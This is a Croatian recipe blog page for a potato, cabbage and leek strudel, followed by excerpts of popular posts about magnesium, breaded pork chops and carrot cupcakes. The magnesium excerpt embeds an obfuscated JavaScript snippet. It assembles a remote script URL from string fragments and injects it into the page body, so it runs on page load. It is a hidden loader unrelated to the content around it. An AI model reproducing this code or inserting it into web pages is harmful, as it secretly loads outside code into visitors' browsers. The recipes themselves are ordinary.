ŠTRUDLA S KRUMPIROM, KUPUSOM I PORILUKOM 🥔





Štrudla s krumpirom, kupusom i porilukom 


Štrudla je odlična topla, ali bit će ukusna i hladna, uz čašu jogurta. Ako joj, pak, dodate žlicu ili dvije svježeg sira, možda i kakvu laganu salaticu, može biti više nego dobra i zasitna večera. Dobar tek!




Štrudla s krumpirom, kupusom i porilukom 


Sastojci:

6 - 8 listova za savijače
oko 800 g krumpira (ja sam imala jedan jako velik)
1 srednji poriluk
1/4 glavice mladog kupusa
sol i papar
ulje
maslac
voda




Priprema:

Poriluk nasjeckajte na sitno, isto napravite i s mladim kupusom, a krumpir naribajte. Sve zajedno možete usitniti i u sjeckalici kako biste si olakšali i ubrzali proces pripreme. Na tavi zagrijte malo ulja i dodajte kockicu maslaca. Pustite da se otopi pa prvo kratko pirjajte poriluk, a zatim dodajte zelje, a na kraju i krumpir. Pirjajte, začinite soli i paprom pa dodajte malo vode, poklopite i pustite da povrće omekša. U posudici pomiješajte vodu, sol i ulje. Uzmite dvije kore. Jednu premažite mješavinom ulja, vode i soli, preklopite je drugom, premažite i tu, pa na polovicu stavite smjesu od povrća. Zarolajte i stavite u posudu za pečenje koju ste premazali uljem ili maslacem ili obložili papirom za pečenje. Ponavljajte postupak dok ne ostanete bez sastojaka. Štrudle možete zarezati na komade željene veličine prije pečenja. Premažite mješavinom s vodom i pecite na 200 stupnjeva Celzijevih 30-ak minuta. Tijekom pečenja možete dodatno premazati vodom i uljem.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više